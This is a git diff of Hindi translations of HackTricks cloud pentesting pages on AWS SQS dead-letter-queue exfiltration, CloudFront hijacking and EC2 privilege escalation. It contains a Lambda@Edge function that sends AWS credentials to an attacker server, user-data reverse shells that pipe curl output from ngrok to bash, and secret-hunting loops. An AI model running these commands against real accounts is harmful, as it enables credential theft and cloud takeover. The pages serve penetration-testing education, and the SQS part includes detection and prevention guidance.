दुरुपयोग कैसे करें -- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में refer किया गया हो (कोई भी queue चलेगा)। -- एक attacker-controlled destination queue बनाएं या चुनें और उसका ARN प्राप्त करें। -- victim DLQ से आपकी destination queue तक एक message move task शुरू करें। -- प्रगति की निगरानी करें या आवश्यकता होने पर रद्द करें। +- पीड़ित DLQ ARN पहचानें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में referenced है (कोई भी queue चलेगा)। +- हमलावर-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें। +- पीड़ित DLQ से अपने destination queue के लिए message move task शुरू करें। +- प्रगति की निगरानी करें या आवश्यकता होने पर उसे रद्द करें। -### CLI उदाहरण: E-commerce DLQ से ग्राहक डेटा निकालना +### CLI उदाहरण: ई-कॉमर्स DLQ से ग्राहक डेटा exfiltrate करना -**परिदृश्य**: एक attacker ने AWS credentials compromise कर लिए हैं और पता चला है कि एक ई-कॉमर्स एप्लिकेशन SQS और एक DLQ का उपयोग करता है जिसमें ग्राहक के order processing के विफल प्रयास जमा हैं। +**Scenario**: एक हमलावर ने AWS credentials compromise कर लिए हैं और पाया कि एक ई-कॉमर्स एप्लिकेशन SQS का उपयोग करता है जिसके DLQ में failed customer order processing attempts हैं। -1) **Victim DLQ की खोज और निरीक्षण करें** +1) **पीड़ित DLQ की खोज और जाँच करें** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **attacker-controlled गंतव्य queue बनाएँ** +2) **attacker-controlled destination queue बनाएँ** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -116,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json done ``` ### क्रॉस-एकाउंट नोट्स -- गंतव्य queue में ऐसी resource policy होनी चाहिए जो victim principal को `sqs:SendMessage` की अनुमति दे (और, यदि लागू हो, KMS grants/permissions)। +- गंतव्य queue में एक resource policy होना चाहिए जो विक्टिम प्रिंसिपल को `sqs:SendMessage` की अनुमति दे (और, यदि उपयोग हो, KMS grants/permissions)। -## यह हमला प्रभावी क्यों है +## क्यों यह हमला प्रभावी है -1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन हो जाता है -2. **Bulk Operation**: धीमी व्यक्तिगत पहुंच की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है -3. **Historical Data**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा करते हैं -4. **Under the Radar**: कई संगठन DLQ एक्सेस की करीबी निगरानी नहीं करते -5. **Cross-Account Capable**: यदि permissions अनुमति दें तो हमलावर अपने ही AWS अकाउंट में exfiltrate कर सकता है +1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना मुश्किल होता है +2. **बड़े पैमाने का ऑपरेशन**: धीमी व्यक्तिगत पहुँच की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है +3. **ऐतिहासिक डेटा**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा कर लेते हैं +4. **कम निगरानी**: कई संगठन DLQ एक्सेस की कड़ी निगरानी नहीं करते +5. **क्रॉस-एकाउंट सक्षम**: यदि अनुमतियाँ अनुमति दें तो हमलावर अपने AWS खाते में exfiltrate कर सकता है ## पहचान और रोकथाम ### पहचान -संदिग्ध `StartMessageMoveTask` API कॉल के लिए CloudTrail की निगरानी करें: +संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें: ```json { "eventName": "StartMessageMoveTask", @@ -145,10 +145,10 @@ done } ``` ### रोकथाम -1. **न्यूनतम अधिकार**: केवल आवश्यक भूमिकाओं के लिए `sqs:StartMessageMoveTask` अनुमतियाँ सीमित करें -2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें -3. **क्रॉस-एकाउंट नीतियाँ**: खाता-पार पहुँच की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें -4. **DLQs को एन्क्रिप्ट करें**: SSE-KMS का उपयोग करें और सीमित कुंजी नीतियाँ लागू करें -5. **नियमित सफाई**: DLQs में संवेदनशील डेटा को अनिश्चितकाल तक जमा न होने दें +1. **Least Privilege**: `sqs:StartMessageMoveTask` permissions केवल आवश्यक रोल्स तक सीमित रखें +2. **Monitor DLQs**: असामान्य DLQ गतिविधि के लिए CloudWatch alarms सेट करें +3. **Cross-Account Policies**: cross-account access की अनुमति देने वाली SQS queue policies को सावधानी से समीक्षा करें +4. **Encrypt DLQs**: सीमित key policies के साथ SSE-KMS का उपयोग करें +5. **Regular Cleanup**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md index 255137a6f..6c476c93c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -6,13 +6,13 @@ ### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` -जिस हमलावर के पास cloudfront:UpdateDistribution और cloudfront:GetDistributionConfig permissions हैं, वह CloudFront distribution की configuration को संशोधित कर सकता है। उन्हें target S3 bucket पर सीधे permissions की ज़रूरत नहीं होती, हालाँकि हमला तब आसान होता है जब उस bucket की permissive policy cloudfront.amazonaws.com service principal से access की अनुमति देती हो। +एक attacker जिसके पास `cloudfront:UpdateDistribution` और `cloudfront:GetDistributionConfig` permissions हैं, वह एक CloudFront distribution की configuration को बदल सकता है। उन्हें target S3 bucket पर खुद permissions की आवश्यकता नहीं होती, हालांकि attack तब आसान होता है जब उस bucket की permissive policy हो जो `cloudfront.amazonaws.com` service principal से access की अनुमति देती हो। -हमलावर distribution की origin configuration बदलकर इसे किसी दूसरे S3 bucket या हमलावर द्वारा नियंत्रित server की ओर इशारा करवा देता है। पहले वे current distribution configuration प्राप्त करते हैं: +The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration: ```bash aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json ``` -फिर वे current-config.json को संपादित करके origin को नए resource की ओर इंगित करते हैं — उदाहरण के लिए, एक अलग S3 bucket: +फिर वे current-config.json को संपादित करते हैं ताकि origin नए resource की ओर इशारा करे — उदाहरण के लिए, एक अलग S3 bucket: ```bash ... "Origins": { @@ -40,7 +40,7 @@ aws cloudfront get-distribution-config --id | jq '.Distributio }, ... ``` -अंत में, संशोधित कॉन्फ़िगरेशन लागू करें (अपडेट करते समय आपको वर्तमान ETag प्रदान करना होगा): +अंत में, संशोधित कॉन्फ़िगरेशन लागू करें (अपडेट करते समय वर्तमान ETag प्रदान करना आवश्यक है): ```bash CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) @@ -64,14 +64,14 @@ var maliciousBody = ` -समझौता किया गया पृष्ठ +Compromised Page -

मूल सामग्री

-

यह पृष्ठ CloudFront Functions द्वारा संशोधित किया गया है

+

Original Content

+

This page has been modified by CloudFront Functions

@@ -100,7 +100,7 @@ aws cloudfront create-function --name malicious-function --function-config '{ # DEVELOPMENT stage में function का ETag प्राप्त करें aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text -# LIVE stage पर function को publish करें +# LIVE stage में function प्रकाशित करें aws cloudfront publish-function --name malicious-function --if-match ``` @@ -135,37 +135,37 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c ```bash // malicious-lambda-edge.js exports.handler = async (event) => { - // Obtain role credentials - const credentials = { - accessKeyId: process.env.AWS_ACCESS_KEY_ID, - secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, - sessionToken: process.env.AWS_SESSION_TOKEN, - }; - // Send credentials to attacker's server - try { - await fetch("https:///steal-credentials", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify(credentials) - }); - } catch (error) { - console.error("Error sending credentials:", error); - } - if (event.Records && event.Records[0] && event.Records[0].cf) { - // Modify response headers - const response = event.Records[0].cf.response; - response.headers["x-credential-theft"] = [ - { - key: "X-Credential-Theft", - value: "Successful", - }, - ]; - return response; - } - return { - statusCode: 200, - body: JSON.stringify({ message: "Credentials stolen" }) - }; + // रोल credentials प्राप्त करें + const credentials = { + accessKeyId: process.env.AWS_ACCESS_KEY_ID, + secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, + sessionToken: process.env.AWS_SESSION_TOKEN, + }; + // credentials को attacker के सर्वर पर भेजें + try { + await fetch("https:///steal-credentials", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(credentials) + }); + } catch (error) { + console.error("Error sending credentials:", error); + } + if (event.Records && event.Records[0] && event.Records[0].cf) { + // response headers संशोधित करें + const response = event.Records[0].cf.response; + response.headers["x-credential-theft"] = [ + { + key: "X-Credential-Theft", + value: "Successful", + }, + ]; + return response; + } + return { + statusCode: 200, + body: JSON.stringify({ message: "Credentials stolen" }) + }; }; ``` @@ -173,7 +173,7 @@ exports.handler = async (event) => { # Lambda@Edge फ़ंक्शन पैकेज करें zip malicious-lambda-edge.zip malicious-lambda-edge.js -# एक privileged role के साथ Lambda@Edge फ़ंक्शन बनाएँ +# एक privileged role के साथ Lambda@Edge फ़ंक्शन बनाएं aws lambda create-function \ --function-name malicious-lambda-edge \ --runtime nodejs18.x \ @@ -202,7 +202,8 @@ Then the attacker updates the CloudFront distribution configuration to reference ``` ```bash -# अपडेट की गई distribution config लागू करें (मौजूदा ETag का उपयोग ज़रूरी है) +# अपडेट किए गए distribution config को लागू करें (current ETag का उपयोग आवश्यक है) + CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) aws cloudfront update-distribution \ @@ -210,7 +211,7 @@ aws cloudfront update-distribution \ --distribution-config file://current-config.json \ --if-match $CURRENT_ETAG -# distribution को request करके function को trigger करें +# distribution का request करके function को ट्रिगर करें curl -v https://.cloudfront.net/ ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 6fc125b91..e090a35b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -12,19 +12,19 @@ ### `iam:PassRole`, `ec2:RunInstances` -एक attacker **IAM role attach करके एक instance बनाकर और फिर उस instance तक पहुँच कर** IAM role credentials को metadata endpoint से चुरा सकता है। +एक attacker **एक instance बना कर उसमे IAM role attach कर सकता है और फिर उसमें पहुँच कर** metadata endpoint से IAM role credentials चुरा सकता है। -- **SSH के माध्यम से पहुँच** +- **Access via SSH** -एक नया instance चलाएँ **created** **ssh key** (`--key-name`) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया key बनाना चाहते हैं तो आपको permission `ec2:CreateKeyPair` की आवश्यकता हो सकती है)। +नया instance चलाएँ एक **बनाया हुआ** **ssh key** (`--key-name`) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` permission की आवश्यकता हो सकती है)। ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **user data में rev shell के जरिए एक्सेस** +- **rev shell के जरिए user data में पहुँच** -आप **user data** (`--user-data`) का उपयोग करके एक नया instance चला सकते हैं जो आपको **rev shell** भेजेगा। इस तरीके से आपको security group निर्दिष्ट करने की आवश्यकता नहीं है। +आप एक नया instance चला सकते हैं जो **user data** (`--user-data`) का उपयोग करके आपको एक **rev shell** भेजेगा। इस तरह आपको security group निर्दिष्ट करने की आवश्यकता नहीं है। ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -यदि आप instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें: +यदि आप किसी instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** मौजूदा instance profiles से जुड़े किसी भी EC2 role पर Direct privesc। +**संभावित प्रभाव:** किसी भी EC2 role पर सीधा privesc जो मौजूदा instance profiles से जुड़ा हो। -#### Privesc to ECS +#### ECS पर Privesc -इन permissions के साथ आप **एक EC2 instance बना कर उसे ECS cluster के अंदर register भी कर सकते हैं**। इस तरह, ECS **services** उन **EC2 instance** के अंदर **run** होंगी जिनमें आपकी access होगी और आप उन services (docker containers) में penetrate करके उनके attached **ECS roles** चुरा सकते हैं। +इन permissions के साथ आप **एक EC2 instance बनाकर उसे एक ECS cluster के अंदर register भी कर सकते हैं**। इस तरह, ECS की **services** उस **EC2 instance** के अंदर **run** होंगी जहाँ आपकी पहुँच होगी और फिर आप उन services (docker containers) में प्रवेश कर सकते हैं और उनके साथ जुड़े **ECS roles** को **चुरा** सकते हैं। ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -जानने के लिए कि इस नए EC2 instance में **ECS services को कैसे बलपूर्वक चलाया जाए** देखें: +To learn how to **force ECS services to be run** in this new EC2 instance check: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -यदि आप **नई instance नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है तो आप संभवतः उस instance को cluster के अंदर register कर सकेंगे और टिप्पणी किए गए attack को अंजाम दे सकेंगे। +If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. -**संभावित प्रभाव:** tasks से जुड़ी ECS roles पर सीधे privesc। +**Potential Impact:** सीधा privesc उन ECS roles तक जो tasks से जुड़ी हुई हैं। ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -पिछले परिदृश्य के समान, इन permissions वाले attacker एक compromised instance का **IAM role बदल** सकते हैं ताकि वह नए credentials चुरा सके।\ -चूँकि एक instance profile के पास केवल 1 role हो सकता है, अगर instance profile **पहले से ही एक role है** (आम स्थिति), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी। +पिछले परिदृश्य की तरह, इन permissions वाले एक attacker compromised instance का **IAM role बदल** सकता है ताकि वह नए credentials चुरा सके.\ +क्योंकि एक instance profile में केवल 1 role हो सकता है, अगर instance profile **पहले से ही एक role** (आम स्थिति) रखता है, तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी। ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -यदि **instance profile has a role** और हमलावर **cannot remove it**, तो एक और workaround है। वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), फिर उस **instance profile** में **add** करके **role** जोड़ सकता है (जैसा पहले चर्चा किया गया है), और समझौता किए गए **instance profile** को समझौता किए गए i**nstance:** से **associate the instance profile** कर सकता है: +यदि **instance profile has a role** और attacker **cannot remove it**, तो एक और workaround मौजूद है। +वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), उस **instance profile** में **role** **add** कर सकता है (जैसा पहले बताया गया था), और **associate the instance profile** compromised to a compromised i**nstance:** - यदि instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potential Impact:** Direct privesc to a different EC2 role (आपको पहले से compromised AWS EC2 instance पर पहुँच होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी). +**Potential Impact:** अलग EC2 role पर direct privesc (इसके लिए आपको पहले से एक compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी)। ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -इन permissions के साथ किसी instance से जुड़ा instance profile बदलना संभव है, इसलिए यदि attacker के पास पहले से किसी instance तक पहुँच है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा। +इन permissions के साथ यह संभव है कि किसी instance से जुड़ा instance profile बदल दिया जाए, इसलिए यदि attacker के पास पहले से किसी instance तक access है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा। -- यदि इसमें **instance profile** है, आप **instance profile** को हटाकर (`ec2:DisassociateIamInstanceProfile`) और **associate** कर सकते हैं +- अगर इसमें **instance profile** है, तो आप instance profile को **हटा** सकते हैं (`ec2:DisassociateIamInstanceProfile`) और इसे **associate** कर सकते हैं ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- या **replace** करें compromised instance का **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`). +- या **बदलें** compromised instance का **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**संभावित प्रभाव:** किसी अन्य EC2 role पर सीधा privesc (इसके लिए आपके पास compromised एक AWS EC2 instance और कुछ अतिरिक्त अनुमति या specific instance profile status होना चाहिए). +**Potential Impact:** Direct privesc to a different EC2 role (आपके पास पहले से compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile status होना चाहिए)। ### `ec2:RequestSpotInstances`,`iam:PassRole` -जिसके पास permissions **`ec2:RequestSpotInstances` और `iam:PassRole`** हों, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **rev shell** **user data** में हो।\ -जब instance चल जाएगा, तो वह **IAM role** को चुरा सकता है। +ऐसा attacker जिसके पास permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** हों, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **user data** में एक **rev shell** हो।\ +एक बार instance चलने पर, वह **IAM role चुरा सकता है**। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +120,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** अनुमति है, वह instance के attributes को बदल सकता है। इनमें से वह **change the user data** कर सकता है, जिसका अर्थ है कि वह instance पर मनमाना डेटा चला सकता है। इसका उपयोग करके वह **rev shell to the EC2 instance** प्राप्त कर सकता है। +An attacker जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह instance के attributes बदल सकता है। इनमें वह **change the user data** कर सकता है, जिसका मतलब है कि वह instance को **run arbitrary data.** करने के लिए प्रेरित कर सकता है, और इससे **rev shell to the EC2 instance** प्राप्त किया जा सकता है। -ध्यान दें कि ये attributes केवल तब ही बदले जा सकते हैं जब instance बंद (stopped) हो, इसलिए आवश्यक permissions हैं **`ec2:StopInstances`** और **`ec2:StartInstances`**। +ध्यान दें कि attributes केवल तब **modified while the instance is stopped** किए जा सकते हैं, इसलिए आवश्यक **permissions** **`ec2:StopInstances`** और **`ec2:StartInstances`** हैं। ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**संभावित प्रभाव:** किसी बनाए गए instance से जुड़ी किसी भी EC2 IAM Role पर सीधे privesc। +**संभावित प्रभाव:** किसी बनाए गए instance से जुड़े किसी भी EC2 IAM Role पर सीधे privesc। ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -एक attacker जिनके पास permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** हों, वे एक **new Launch Template version** बना सकते हैं जिसमें **rev shell in** the **user data** और उस पर **any EC2 IAM Role on it** शामिल किया जा सकता है, default version बदल सकते हैं, और कोई भी **any Autoscaler group** **using** that **Launch Templat**e जो **configured** है to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. +एक हमलावर जिनके पास ये अनुमतियाँ हों **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** एक **new Launch Template version** बना सकता है जिसमें **rev shell in** the **user data** और **any EC2 IAM Role on it** सेट कर सकता है, default version बदल सकता है, और **any Autoscaler group** **using** that **Launch Templat**e जो **configured** है **to use** the **latest** or the **default version** वह उस template का उपयोग करके **re-run the instances** करेगा और rev shell execute होगा। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +177,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**संभावित प्रभाव:** Direct privesc to a different EC2 role. +**संभावित प्रभाव:** किसी अन्य EC2 role पर सीधे privesc। ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -उन अनुमतियों वाले हमलावर **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** के साथ एक **Launch Configuration** बना सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर उस config से एक **autoscaling group** बनाकर rev shell के द्वारा **IAM Role** को चुरा लेने का इंतजार कर सकता है। +ऐसा attacker जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हों, वह **create a Launch Configuration** बना सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर वह उस config से एक **create an autoscaling group** बनाएगा और rev shell के **steal the IAM Role** करने का इंतज़ार करेगा। ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +197,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**संभावित प्रभाव:** एक अलग EC2 role पर सीधे privesc। +**संभावित प्रभाव:** किसी अलग EC2 role में सीधे privesc. ### `!autoscaling` -Permissions का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **किसी IAM role पर privileges escalate करने के लिए पर्याप्त नहीं हैं** क्योंकि Launch Configuration या Launch Template में specified role को attach करने के लिए **आपको permissions `iam:PassRole` और `ec2:RunInstances` की आवश्यकता होती है** (जो एक जाना हुआ privesc है)। +परमिशनों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** एक IAM role तक privileges escalate करने के लिए **पर्याप्त नहीं है** क्योंकि Launch Configuration या Launch Template में निर्दिष्ट role को attach करने के लिए **आपको permissions `iam:PassRole`and `ec2:RunInstances`** की आवश्यकता होती है (जो कि एक ज्ञात privesc है)। ### `ec2-instance-connect:SendSSHPublicKey` -एक हमलावर जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, किसी user के लिए एक ssh key जोड़ सकता है और इसका उपयोग उस instance में प्रवेश करने के लिए कर सकता है (यदि उसके पास instance का ssh access है) या privileges escalate करने के लिए। +जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, वह किसी user में एक ssh key जोड़ सकता है और इसका उपयोग (यदि उसके पास instance का ssh access है) उसे access करने या privileges escalate करने के लिए कर सकता है। ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Potential Impact:** चल रहे instances से जुड़े EC2 IAM roles तक सीधे privesc। +**संभावित प्रभाव:** Direct privesc to the EC2 IAM roles attached to running instances. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -किसी हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** होने पर वह **serial connection में एक ssh key जोड़ सकता है**। यदि serial सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** चाहिए। +एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** हो, वह **एक ssh key को serial connection में जोड़ सकता है**। यदि serial सक्षम नहीं है, तो हमलावर को अनुमति **`ec2:EnableSerialConsoleAccess` को सक्षम करने के लिए** चाहिए। -serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password** भी **जानना होगा**। +serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password** भी जानना आवश्यक है। ```bash aws ec2 enable-serial-console-access @@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password जानना होगा। +यह तरीका privesc के लिए उतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password पता होना चाहिए। -**Potential Impact:** (साबित करना बहुत कठिन) EC2 IAM roles पर सीधा privesc जो running instances से जुड़े हैं। +**Potential Impact:** (Highly unprovable) EC2 IAM roles जो running instances से जुड़े हैं, उन तक सीधा privesc। ### `describe-launch-templates`,`describe-launch-template-versions` -चूंकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके sensitive जानकारी खोज सकते हैं, जैसे user data में मौजूद credentials। इसे करने के लिए, निम्न script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है: +चूँकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके संवेदनशील जानकारी, जैसे user data में मौजूद credentials, खोज सकते हैं। यह करने के लिए, निम्नलिखित script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -248,11 +249,11 @@ echo done | grep -iE "aws_|password|token|api" done ``` -ऊपर दिए गए commands में, यद्यपि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की sensitive information खोजने के लिए अलग regex का उपयोग कर सकते हैं। +इन ऊपर के कमांड्स में, हालांकि हम कुछ पैटर्न्स निर्दिष्ट कर रहे हैं (`aws_|password|token|api`), आप अन्य प्रकार की संवेदनशील जानकारी खोजने के लिए एक अलग regex उपयोग कर सकते हैं। -मान लें कि हमें `aws_access_key_id` और `aws_secret_access_key` मिल जाते हैं, तो हम इन credentials का उपयोग करके AWS में authenticate कर सकते हैं। +मान लीजिए हमें `aws_access_key_id` और `aws_secret_access_key` मिल जाते हैं, तो हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकृत करने के लिए कर सकते हैं। -**संभावित प्रभाव:** Direct privilege escalation to IAM user(s). +**Potential Impact:** Direct privilege escalation to IAM user(s). ## संदर्भ @@ -261,15 +262,14 @@ done - ### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) -एक attacker जिसके पास किसी victim EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता हो, वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint उन सामान्य SSRF/proxy रास्तों के माध्यम से पहुंच योग्य हो जाता है जो उस instance पर चलने वाले applications से पहुँचते हैं। यदि attacker ऐसे किसी app में SSRF ट्रिगर कर सके, तो वह instance profile credentials निकाल सकता है और उनके साथ pivot कर सकता है। +यदि किसी हमलावर के पास victim EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता है, तो वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे 